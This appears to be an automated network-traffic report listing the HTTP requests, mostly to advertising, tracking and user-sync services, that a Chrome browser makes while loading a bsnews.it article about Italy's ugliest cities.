Source: global traffic	HTTP traffic detected: GET /internal-cs/default/beacon.js HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://bsnews.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ad/chnl?adCode=cpu32-8qlre&playerWidth=600&playerHeight=450&srcPageUrl=https%3A%2F%2Fbsnews.it%2F2015%2F01%2F23%2Fle-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica%2F&schain=1.0,1!sunmedia.tv,cf5f115c-45c0-42e6-88f5-1cc147412988,1,,,&gdpr=0&gdpr_consent=1&c1=T1,SM HTTP/1.1Host: cpu32-zs9v8.ads.tremorhub.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://bsnews.itSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://bsnews.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /likes/style.css?ver=20240208 HTTP/1.1Host: widgets.wp.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://widgets.wp.com/likes/?ver=13.2.2Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /iframe/sync.html?key=all&src=products.js&ref=bsnews.it HTTP/1.1Host: cstatic.weborama.frConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://bsnews.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /api/1.0/id5-api.js HTTP/1.1Host: cdn.id5-sync.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://bsnews.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /w/1.0/cm?id=5263ff89-48b7-4624-96e0-06c74faea01d&ph=2eba3060-f578-4886-93a0-d9a2346966ea&gdpr=0&gdpr_consent=&r=https%3A%2F%2Fsync.richaudience.com%2Fa9b03dc9bdef0bcb818e9c4110ca0368%2F%3Fuid%3D HTTP/1.1Host: us-u.openx.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://sync.richaudience.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /usermatch?s=201092&cb=https%3A%2F%2Fsync.richaudience.com%2F2066127a3f7c6635eb4f6cac536feb5a%2F%3Fgdpr%3D0%26euconsent%3D%26uid%3D&gdpr=0&gdpr_consent= HTTP/1.1Host: ssum-sec.casalemedia.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://sync.richaudience.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: receive-cookie-deprecation=1
Source: global traffic	HTTP traffic detected: GET /gampad/ads?pvsid=1536995679409651&correlator=4021198300896108&eid=31079957%2C31081973%2C95327887%2C31078663%2C31078665%2C31078668%2C31078670&output=ldjh&gdfp_req=1&vrg=202403210101&ptt=17&impl=fifs&iu_parts=150134580%3A22663223301%2Cbsnews_dsk_intro&enc_prev_ius=%2F0%2F1&prev_iu_szs=1000x500%7C1x8&ifi=1&didk=2826984766&sfv=1-0-40&eri=1&sc=1&cookie_enabled=1&abxe=1&dt=1711615881767&lmt=1711560111&adxs=0&adys=13555&biw=1263&bih=907&scr_x=0&scr_y=0&btvi=1&ucis=1&oid=2&u_his=1&u_h=1024&u_w=1280&u_ah=984&u_aw=1280&u_cd=24&u_sd=1&u_tz=60&dmc=8&bc=31&nvt=1&uach=WyJXaW5kb3dzIiwiMTAuMC4wIiwieDg2IiwiIiwiMTE3LjAuNTkzOC4xMzIiLG51bGwsMCxudWxsLCI2NCIsW1siR29vZ2xlIENocm9tZSIsIjExNy4wLjU5MzguMTMyIl0sWyJOb3Q7QT1CcmFuZCIsIjguMC4wLjAiXSxbIkNocm9taXVtIiwiMTE3LjAuNTkzOC4xMzIiXV0sMF0.&url=https%3A%2F%2Fbsnews.it%2F2015%2F01%2F23%2Fle-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica%2F&vis=1&psz=1263x13576&msz=1000x-1&fws=512&ohw=0&ga_vid=30849489.1711615863&ga_sid=1711615882&ga_hid=1417903151&ga_fc=true&td=1&topics=9&tps=9&htps=10&nt=1&psd=WzE1LFtudWxsLFtbIi8xNTAxMzQ1ODAsMjI2NjMyMjMzMDEvYnNuZXdzX2Rza19pbnRybyIsW11dXV0sbnVsbCwzXQ..&dlt=1711615858499&idt=23182&prev_scp=refreshType%3Dinstant%26refreshCount%3D0&cust_params=consent%3Dyes&adks=3120347037&frm=20 HTTP/1.1Host: securepubads.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Ad-Auction-Fetch: ?1Origin: https://bsnews.itX-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://bsnews.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /universal/v1?supply_id=mmnOOyXZ&gdpr=0&gdpr_consent= HTTP/1.1Host: match.sharethrough.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://sync.richaudience.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: stx_user_id=e222cac2-a257-448a-96d5-9494eb4fc58c
Source: global traffic	HTTP traffic detected: GET /sync/js?sync=auto&mt_exid=10082&exsync=https%3A%2F%2Ftrz.neodatagroup.com%2Fcm%3Fsid%3D1011%26pv%3DMEDIAMATH%26eid%3D%5BMM_UUID%5D%26rt%3Dimg%26rnd%3D436232701635 HTTP/1.1Host: pixel.mathtag.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://bsnews.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /track/cmf/generic?ttd_pid=id0lh84&ttd_tpi=1&gdpr=0&gdpr_consent= HTTP/1.1Host: match.adsrvr.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://sync.richaudience.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dpiu/script.dipiu.init.js HTTP/1.1Host: cdn.digitrend.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://bsnews.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /pv?sid=1011&rnd=436232701635&pv=omg&id=607&ad=197&rs=1280x1024&lg=en-US&tz=-60&ur=https%3A%2F%2Fwww.bsnews.it%2F2015%2F01%2F23%2Fle-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica%2F&re=&co=24&pbs=true&cb=window._omgDmp.setNeoIdLastSync(%27@@neo_user_id@@%27); HTTP/1.1Host: trz.neodatagroup.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://bsnews.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/digistream/js/digistream-playlist-init.js HTTP/1.1Host: www.digistream.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://bsnews.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /static/topics/topics_frame.html HTTP/1.1Host: securepubads.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://bsnews.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ad/chnl?adCode=cpu32-8qlre&playerWidth=600&playerHeight=450&srcPageUrl=https%3A%2F%2Fbsnews.it%2F2015%2F01%2F23%2Fle-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica%2F&schain=1.0,1!sunmedia.tv,cf5f115c-45c0-42e6-88f5-1cc147412988,1,,,&gdpr=0&gdpr_consent=1&c1=T1,SM&_tur=T HTTP/1.1Host: cpu32-zs9v8.ads.tremorhub.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://bsnews.itSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://bsnews.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: tvid=5c99a009bd184d5ca3b7885003b720e3
Source: global traffic	HTTP traffic detected: GET /player/?zid=AACAFQeVCHLlefG8&sid=01eeece05a1cab0c910a7df5dd4b4bb2&activation=onload&u=https%3A%2F%2Fbsnews.it%2F2015%2F01%2F23%2Fle-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica%2F&ahd=1&schain=1.0,1!movingup.it,109,1,,,&player_session=%7B%22page_id%22%3A%22018e8441b31cc64c0ea7193c3ebea690%22%2C%22screen%22%3A%7B%22width%22%3A1280%2C%22height%22%3A1024%7D%2C%22page%22%3A%7B%22width%22%3A1263%2C%22height%22%3A13576%7D%2C%22viewport%22%3A%7B%22width%22%3A1280%2C%22height%22%3A907%7D%2C%22player_size%22%3A%7B%22width%22%3A535%2C%22height%22%3A301%7D%7D&sc=1&gdpr=0&cmp=unavailable&dd=bsnews.it HTTP/1.1Host: ads.viralize.tvConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://bsnews.itSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://bsnews.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /pixel?google_nid=neodata_dmp&google_cm&pv=dbm&sid=1011&rt=img&rnd=436232701635 HTTP/1.1Host: cm.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://bsnews.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /3.17.0/raven.min.js HTTP/1.1Host: cdn.ravenjs.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://bsnews.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /usermatch?cb=https%3A%2F%2Fsync.richaudience.com%2F2066127a3f7c6635eb4f6cac536feb5a%2F%3Fgdpr%3D0%26euconsent%3D%26uid%3D&gdpr=0&gdpr_consent=&s=201092&C=1 HTTP/1.1Host: ssum-sec.casalemedia.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://sync.richaudience.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: receive-cookie-deprecation=1; CMID=ZgUvi9HM46UAADq7ABhzMwAA; CMPS=2753; CMPRO=2753
Source: global traffic	HTTP traffic detected: GET /rest/v1/batch?http_envelope=1&urls[]=/me&urls[]=/sites/123231640/posts/95325/likes?chronological=true&urls[]=/sites/123231640/posts/95325/reblogs/mine HTTP/1.1Host: public-api.wordpress.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://public-api.wordpress.com/wp-admin/rest-proxy/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: geo.privacymanager.ioConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Accept: application/jsonContent-Type: application/jsonsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Origin: https://bsnews.itSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://bsnews.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /track/cmb/generic?ttd_pid=id0lh84&ttd_tpi=1&gdpr=0&gdpr_consent= HTTP/1.1Host: match.adsrvr.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://sync.richaudience.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: TDID=a109dc60-dc7c-45e5-ab53-e2448a53420f; TDCPM=CAEYBSgCMgsIsoLWn9_D5zwQBTgB
Source: global traffic	HTTP traffic detected: GET /w/1.0/cm?cc=1&id=5263ff89-48b7-4624-96e0-06c74faea01d&ph=2eba3060-f578-4886-93a0-d9a2346966ea&gdpr=0&gdpr_consent=&r=https%3A%2F%2Fsync.richaudience.com%2Fa9b03dc9bdef0bcb818e9c4110ca0368%2F%3Fuid%3D HTTP/1.1Host: us-u.openx.netConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://sync.richaudience.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: i=fe628250-ec64-0d68-3371-9efce43e151a\|1711615883
Source: global traffic	HTTP traffic detected: GET /collector-9d47d92.js HTTP/1.1Host: cdn.pbstck.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /v1/trk/adv HTTP/1.1Host: audience.codesour.techConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn/prod/config?src=3627&u=https%3A%2F%2Fbsnews.it HTTP/1.1Host: c.amazon-adsystem.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /prebid-request HTTP/1.1Host: onetag-sys.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /js/topics/topics.js?src=wai HTTP/1.1Host: cstatic.weborama.frConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://bsnews.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /user-sessions-aadee70.js HTTP/1.1Host: cdn.pbstck.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /pcs/view?xai=AKAOjsuMPUa6QWqUXjOB1gesXf5CW0gIWxO8FTM0U7omD4p-MV8yaS2PF_rYmIEFuphM0EKP6fptMkjhtOJr2Tlg-VyAFLaXsUqqbalYjnwWRZmwlzmbTNHz54VuUVUCSULzupwIyCbIjZ8_iRMC3f6kLUZY2eSoViAogLGAqLs_BktSLly4thJQoQ-ilz6JNKtpsygcsZ2yjfV_sOZ1pJxpiHhmdDL7mmF4fZIKQhaAC-rZbJsIqGJr6s1jTp03RufZnLiXUEg0s6kQYinKEvX3D4XYmUPKYtagyVZSqMuc00gmUEzlzqayJ6jc5EyH5aD-nMRfT5DwLw5jHf2GZ-6FO0XvikBSajgDkRo_-N9wSC5uYQ&sai=AMfl-YRrRRxy3bKc2ZUt2PMHDQgiOs50SKxC0PYJp7PBvsX89WBGTVLyvtj-AU8lh2OFvluEh3gLjEuNFGeRn9vkvKkQaLxwWdoN3ZP1ilqE1Y1mBc0XUv0CHLsf9sgS2kz-9QI79xY_cRmzPQhj7Ly4AIo&sig=Cg0ArKJSzF8Hp6VDb2bqEAE&uach_m=%5BUACH%5D&urlfix=1&adurl= HTTP/1.1Host: securepubads.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyReferer: https://bsnews.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: test_cookie=CheckForPermission
Source: global traffic	HTTP traffic detected: GET /dcf3528a0b8aa83634892d50e91c306e/?ord=6820651392&consentString= HTTP/1.1Host: sync.richaudience.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: pdid=2c9d0f98-4385-4c43-ba27-1zz1711615376; raibs=1
Source: global traffic	HTTP traffic detected: GET /?ap=smptf&it=22f9505a-d568-49e1-8952-cc5110fd590b&tp=op&pos=0&loop=1&pb=1&dnt=1&rnd=1711615871094 HTTP/1.1Host: track.sunmedia.tvConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
